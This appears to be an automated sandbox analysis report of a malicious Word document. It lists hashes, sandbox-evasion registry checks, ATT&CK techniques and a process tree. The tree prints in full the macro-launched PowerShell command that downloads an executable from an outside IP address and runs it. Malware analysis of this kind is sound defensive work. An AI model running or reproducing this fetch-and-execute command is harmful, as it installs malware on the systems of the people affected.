049f8f402af29fcb09cd552b03eb23ee678428634920a2acd7096e646054d598

Analysis

max time kernel
152s
max time network
163s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
25-11-2022 21:40

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General

Target

049f8f402af29fcb09cd552b03eb23ee678428634920a2acd7096e646054d598.doc
Size

53KB
MD5

e1c4c3d995941a2e164f01d9de516651
SHA1

61d0086d0407ca77f3f7bb40c6c97cf192171412
SHA256

049f8f402af29fcb09cd552b03eb23ee678428634920a2acd7096e646054d598
SHA512

f4dac25644f0f1db1e236719809f1ebb72ad9b4bc17064a6f25aa6855c5fdbbfa9ede6f686175cc8506e48080f4ff5484437fb32e5f059f28483bf15a384d15b
SSDEEP

384:uaTW05U6z7a3ckIEuUOFB53oIw8QTisMjPHWba/Jf5U3ySBadi+AHtnaCIBrGZ0L:Zi+Z0mHW2laH+aaZBmEx7vd

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://136.243.237.222:8080/hhacz45a/mnnmz.php

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1964	4700	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

63 4548 powershell.exe

flow	pid	process
63	4548	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4700 WINWORD.EXE
4700 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4548 powershell.exe
4548 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4548 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4700 WINWORD.EXE
4700 WINWORD.EXE
4700 WINWORD.EXE
4700 WINWORD.EXE
4700 WINWORD.EXE
4700 WINWORD.EXE
4700 WINWORD.EXE

pid	process
4700	WINWORD.EXE
4700	WINWORD.EXE

pid	process
4548	powershell.exe
4548	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4548	powershell.exe

pid	process
4700	WINWORD.EXE
4700	WINWORD.EXE
4700	WINWORD.EXE
4700	WINWORD.EXE
4700	WINWORD.EXE
4700	WINWORD.EXE
4700	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 4700 wrote to memory of 1964	4700	WINWORD.EXE	cmd.exe
PID 4700 wrote to memory of 1964	4700	WINWORD.EXE	cmd.exe
PID 1964 wrote to memory of 4548	1964	cmd.exe	powershell.exe
PID 1964 wrote to memory of 4548	1964	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\049f8f402af29fcb09cd552b03eb23ee678428634920a2acd7096e646054d598.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4700

C:\Windows\SYSTEM32\cmd.exe
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://136.243.237.222:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://136.243.237.222:8080/hhacz45a/mnnmz.php','C:\Users\Admin\AppData\Local\Temp\pJIOfdfs.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\pJIOfdfs.exe';
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4548

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1964-139-0x0000000000000000-mapping.dmp

Download
memory/4548-144-0x00007FF803CF0000-0x00007FF8047B1000-memory.dmp

Filesize
10.8MB

Download
memory/4548-143-0x00007FF803CF0000-0x00007FF8047B1000-memory.dmp

Filesize
10.8MB

Download
memory/4548-142-0x00007FF803CF0000-0x00007FF8047B1000-memory.dmp

Filesize
10.8MB

Download
memory/4548-141-0x0000021C94B30000-0x0000021C94B52000-memory.dmp

Filesize
136KB

Download
memory/4548-140-0x0000000000000000-mapping.dmp

Download
memory/4700-135-0x00007FF7EFBB0000-0x00007FF7EFBC0000-memory.dmp

Filesize
64KB

Download
memory/4700-138-0x00007FF7ED250000-0x00007FF7ED260000-memory.dmp

Filesize
64KB

Download
memory/4700-137-0x00007FF7ED250000-0x00007FF7ED260000-memory.dmp

Filesize
64KB

Download
memory/4700-136-0x00007FF7EFBB0000-0x00007FF7EFBC0000-memory.dmp

Filesize
64KB

Download
memory/4700-132-0x00007FF7EFBB0000-0x00007FF7EFBC0000-memory.dmp

Filesize
64KB

Download
memory/4700-134-0x00007FF7EFBB0000-0x00007FF7EFBC0000-memory.dmp

Filesize
64KB

Download
memory/4700-133-0x00007FF7EFBB0000-0x00007FF7EFBC0000-memory.dmp

Filesize
64KB

Download